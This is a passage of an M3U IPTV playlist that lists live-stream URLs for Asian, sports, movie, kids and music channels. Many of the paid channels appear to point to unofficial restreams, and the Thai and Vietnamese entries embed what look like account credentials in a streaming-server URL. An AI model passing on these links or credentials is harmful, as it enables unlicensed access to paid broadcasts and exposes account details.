tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",USEE PHOTO https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(28342aae-356c-46c1-b150-98ac3fb0fd5c)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="INDONESIA",RUANG TERAMPIL https://cdn-accedo-01.akamaized.net:443/Content/DASH/Live/channel(56a81d9a-f190-463b-9a01-42f85674e8bd)/manifest.mpd #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO NAURA https://agplayback03.aotg-video.astro.com.my/CH2/master_NAURAGOSHOP4.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO RUUMA https://agplayback03.aotg-video.astro.com.my/CH1/master_GOSHOP_03.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO GAAYA https://agplayback03.aotg-video.astro.com.my/CH3/master_GOSHOP3_04.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO GOSHOP https://agplayback03.aotg-video.astro.com.my/CH1/master_GOSHOP.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", ASTRO AWANI https://bcsecurelivehls-i.akamaihd.net/hls/live/722763/4508222217001/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", RTM TV1 https://rtm1mobile.secureswiftcontent.com:443/Origin01/ngrp:RTM1/chunklist_b464000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", RTM TV2 https://rtm2mobile.secureswiftcontent.com:443/Origin01/ngrp:RTM1/chunklist_b464000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MALAYSIA", TV3 http://ts.lemmovie.com/55a7edc5-112d-47ce-92bd-d242cf580f46.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AHSAN TV http://119.82.224.75:1935/live/ahsantv/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AL IMAN http://vs.suaraaliman.com:1935/aliman/HD/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="RELIGI", AL-BAHJAH TV https://edge.siar.us/albahjahtv/live/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", ANIMAX http://210.210.155.35/dr9445/h/h144/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", ANIPLUS http://210.210.155.35:80/dr9445/h/h02/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Disney XD https://www.livedoomovies.com/02_DisneyXD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Cartoon Network https://www.livedoomovies.com/02_CartoonNetwork_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Cartoon Club 2 http://edge4-bkk.3bb.co.th:1935/CartoonClub_Livestream/cartoonclub_480P.stream/chunklist_w2052379668.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", Rooster Teeth TV https://d2klx6wjx7p5vm.cloudfront.net/Rooster-teeth/ngrp:Rooster-teeth_all/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", TCT KIDS http://bcoveliveios-i.akamaihd.net/hls/live/206632/1997976452001/FamilyHLS/FamilyHLS_Live_1200.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KIDS", TVO KIDS https://bcsecurelivehls-i.akamaihd.net/hls/live/623607/15364602001/tvokids/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV MIDNIGHT http://fash1043.cloudycdn.services/slive/_definst_/ftv_midnite_secrets_adaptive.smil/chunklist_b4700000_t64MTA4MHA=.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV Midnite Secrets http://fash1043.cloudycdn.services/slive/_definst_/ftv_ftv_midnite_k1y_27049_midnite_secr_108_hls.smil/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", Fashion TV Paris https://fash1043.cloudycdn.services/slive/_definst_/ftv_ftv_paris_pg_4dg_27027_paris_pg18_188_hls.smil/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", WF http://wfc.bonus-tv.ru/cdn/wfcint/tracks-v2a1/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", HD Fashion & LifeStyle http://95.67.47.115/hls/hdfashion_ua_hi/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="FASHION", JASMIN TV http://109.71.162.112:1935/live/sd.jasminchannel.stream/media_w852484650_6656.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", Animal Planet https://www.livedoomovies.com/02_AnimalPlanet/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", History https://www.livedoomovies.com/02_HISTORYHD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", H2 https://www.livedoomovies.com/02_H2HD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", Discovery Asia https://www.livedoomovies.com/02_DiscoveryHDWorld/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", NAT GEO https://www.fanmingming.cn/hls/natlgeo.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", NAT GEO PEOPLE http://iliketot.dyndns.tv/29fb241f985c468e8e6ffa8942b00a69.m3u8?wmsAuthSign=c2VydmVyX3RpbWU9Ni8yNS8yMDE4IDY6NTY6MTkgUE0maGFzaF92YWx1ZT1pV21sdUNEVXZpZ3I1bitwSEUrRDhBPT0mdmFsaWRtaW51dGVzPTImaWQ9Q2hveXw4MDN8aXB0dmhlcm98MTUyOTk1Mjk3OXwxMTkuNzYuMTUyLjM= #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", NAT GEO Wild https://sc.id-tv.kz/NatGeoWildHD_34_35.m3u8?checkedby:iptvcat.com #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", BBC Cbeebies http://51.52.156.22:8888/http/003 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="KNOWLEDGE", DMAX http://jviqfbc2.rocketcdn.com/dmax.smil/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", Joo Music https://streamer12.vdn.dstreamone.net/joomusic/joomusic/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", Kadak Hits http://linear01hun-lh.akamaihd.net/i/faaduhits_1@660838/index_2128_av-p.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", Euro Indie Music Chart http://178.33.224.197:1935/euroindiemusic/euroindiemusic/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", Jhanjar Music http://159.203.9.134/hls/jhanjar_music/jhanjar_music.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Animation https://www.djing.com/tv/animation.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Classics https://www.djing.com/tv/classics.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Dancefloor https://www.djing.com/tv/dancefloor.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Hits https://www.djing.com/tv/hits.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Karaoke https://www.djing.com/tv/karaoke.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Live https://www.djing.com/tv/live.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", DJing Underground https://www.djing.com/tv/underground.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", BOX HITS http://csm-e.tm.yospace.com/csm/extlive/boxplus01,boxhits-desktop.m3u8?yo.up=http%3a%2f%2fboxtv-origin-elb.cds1.yospace.com%2fuploads%2fboxhits%2f #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", Music Top http://live-edge01.telecentro.net.ar/live/msctphd-720/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", California Music Channel http://cmctv.ios.internapcdn.net/cmctv_vitalstream_com/live_1/CMC-TV/.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", KARAOKE CHANNEL http://edge.linknetott.swiftserve.com/live/BSgroup/amlst:karaokech/chunklist_b2288000.m3u8? #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MUSIC", MTV http://unilivemtveu-lh.akamaihd.net/i/mtvno_1@346424/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", AXN http://136.243.177.164/AXN/index.m3u8?h=WTL4O0zvYYEAVfZX-dwXvg #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", AXN ID http://210.210.155.35/uq2663/h/h141/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", Blue Ant Entertainment https://livecdn.fptplay.net/hda/blueantent_hls.smil/chunklist_b2500000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", Blue Ant Extreme https://livecdn.fptplay.net/hda/blueantext_hls.smil/chunklist_b2500000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", FOX HD http://htv-drm-live-cdn.fptplay.net/CDN-FPT02/FOX-HD-1080p/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", Fox Premium Movies https://www.livedoomovies.com/02_FoxMoviesTH_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", Fox Thai https://www.livedoomovies.com/02_FoxThai_TH_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", HBO HD https://www.livedoomovies.com/02_HBOHD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", HBO Hits https://www.livedoomovies.com/02_HBOHit_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", HBO Redby https://www.livedoomovies.com/02_RedbyHBO_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", Warner TV HD https://www.livedoomovies.com/02_WarnerTVHD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", KIX http://210.210.155.35/session/e269237c-7e3d-11e8-a249-b82a72d63267/uq2663/h/h07/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", SINEMA INDONESIA http://210.210.155.35:80/x6bnqe/s/s71/S4/mnf.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", CELESTIAL MOVIES 2 http://210.210.155.35:80/qwr9ew/s/s33/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", CINEMA WORLD http://210.210.155.35:80/uq2663/h/h04/02.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", HITS http://210.210.155.35:80/uq2663/h/h37/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", K+ http://210.210.155.35:80/uq2663/h/h08/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", SONY HD http://103.214.202.218:8081/live/sony-40/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", SONY GEM http://210.210.155.35:80/uq2663/h/h19/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", THRILL http://210.210.155.35/qwr9ew/s/s34/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="MOVIES", ZEE BIOSKOP http://210.210.155.35:80/qwr9ew/s/s32/01.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS",beIN Sports 1 Asia https://www.livedoomovies.com/02_epl1_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS",beIN Sports 2 Asia https://www.livedoomovies.com/02_epl2_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", FOX SPORTS 1 https://livecdn.fptplay.net/qnetlive/foxsports_2000.stream/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", FOX SPORTS 2 https://livecdn.fptplay.net/qnetlive/foxsports2_2000.stream/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", RTM SPORT https://rtm2mobile.secureswiftcontent.com/Origin02/ngrp:RTM2/chunklist_b2064000.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", TVRI SPORT http://wpc.d1627.nucdn.net:80/80D1627/o-tvri/Content/HLS/Live/Channel(TVRI4)/Stream(03)/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", EPL HD https://32x2cn7zz29m47vnqt4z-kyz6hw.p5cdn.com/abr_PSLME/zxcv/PSLME/zxcv_720p/chunks.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", EPL https://32x2cn7zz29m47vnqt4z-kyz6hw.p5cdn.com/abr_PSLME/zxcv/PSLME/zxcv_360p/chunks.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", MOTO GP http://183.182.100.184/live/pptvthai/playlist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", SERI A ITALIA http://217.174.225.146/hls/ch004_720/index.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", UFC 1 http://node01.openfutbol.es/SVoriginOperatorEdge/128761.smil/.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", UFC 2 https://stadiumlivein-i.akamaihd.net/hls/live/522512/mux_4/master.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", NBA HD https://www.livedoomovies.com/02_nbahd_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Tennis HD https://www.livedoomovies.com/02_TennisHD_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Golf Channel HD https://www.livedoomovies.com/02_golfhd_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Sport TV 1 https://www.livedoomovies.com/02_SPORTTV_1_720p/chunklist.m3u8?zerosix.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Sport TV 2 https://www.livedoomovies.com/02_SPORTTV_2_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Sport TV 3 https://www.livedoomovies.com/02_SPORTTV_3_720p/chunklist.m3u8?zerosix.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Sport TV 4 https://www.livedoomovies.com/02_SPORTTV_4_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", Sport TV 5 https://www.livedoomovies.com/02_SPORTTV_5_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Premier Football 1 TH https://www.livedoomovies.com/02_PremierHD1_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Premier Football 2 TH https://www.livedoomovies.com/02_PremierHD2_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Premier Football 3 TH https://www.livedoomovies.com/02_PremierHD3_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Premier Football 4 TH https://www.livedoomovies.com/02_PremierHD4_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", True Premier Football 5 TH https://www.livedoomovies.com/02_PremierHD4_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", TrueSport HD 1 https://www.livedoomovies.com/02_2sporthd1_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", TrueSport HD 2 https://www.livedoomovies.com/02_2sporthd2_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="https://www.runia.com/wp-content/uploads/2014/11/LOKAL-logo-rood-zonder-url-300x195.png" group-title="SPORTS", TrueSport HD 3 https://www.livedoomovies.com/02_2sporthd3_720p/chunklist.m3u8 #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", ZEE NUNG http://188.40.76.108:25461/live/mytv01/uSIRzmks51/83.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", TVB Drama Thai http://188.40.76.108:25461/live/mytv01/uSIRzmks51/84.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", T Sports http://188.40.76.108:25461/live/mytv01/uSIRzmks51/85.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", RED by HBO (TH) http://188.40.76.108:25461/live/mytv01/uSIRzmks51/88.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", FOX ??? http://188.40.76.108:25461/live/mytv01/uSIRzmks51/89.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", FOX ACTION MOVIES (Thai Sub) http://188.40.76.108:25461/live/mytv01/uSIRzmks51/90.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", FOX MOVIES (Thai Sub) http://188.40.76.108:25461/live/mytv01/uSIRzmks51/91.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", True4U http://188.40.76.108:25461/live/mytv01/uSIRzmks51/93.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", CHANNEL 8 THAI http://188.40.76.108:25461/live/mytv01/uSIRzmks51/94.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", TNN16 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/96.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", New18 TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/97.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", News 1 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/98.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", TPTV Thai Parliament TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/99.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Voice TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/100.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", M Channel http://188.40.76.108:25461/live/mytv01/uSIRzmks51/101.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", One TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/102.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Thairath TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/104.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", MONO29 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/107.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Workpoint TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/109.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", MCOT http://188.40.76.108:25461/live/mytv01/uSIRzmks51/111.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Thai PBS http://188.40.76.108:25461/live/mytv01/uSIRzmks51/112.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", NBT 2 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/113.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Thai Ch7 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/115.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Thai Ch5 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/116.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", Thai Ch3 http://188.40.76.108:25461/live/mytv01/uSIRzmks51/117.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="THAI CHANNEL", HBO (TH) http://188.40.76.108:25461/live/mytv01/uSIRzmks51/1165.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", CTV - Cà Mau TV http://188.40.76.108:25461/live/mytv01/uSIRzmks51/153.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", QRT - Qu?ng Nam http://188.40.76.108:25461/live/mytv01/uSIRzmks51/154.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", HBTV - Hòa Bình http://188.40.76.108:25461/live/mytv01/uSIRzmks51/155.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" group-title="VIETNAM CHANNEL", THTG - Ti?n Giang http://188.40.76.108:25461/live/mytv01/uSIRzmks51/156.ts #EXTINF:-1 tvg-logo="http://127.0.0.1/" 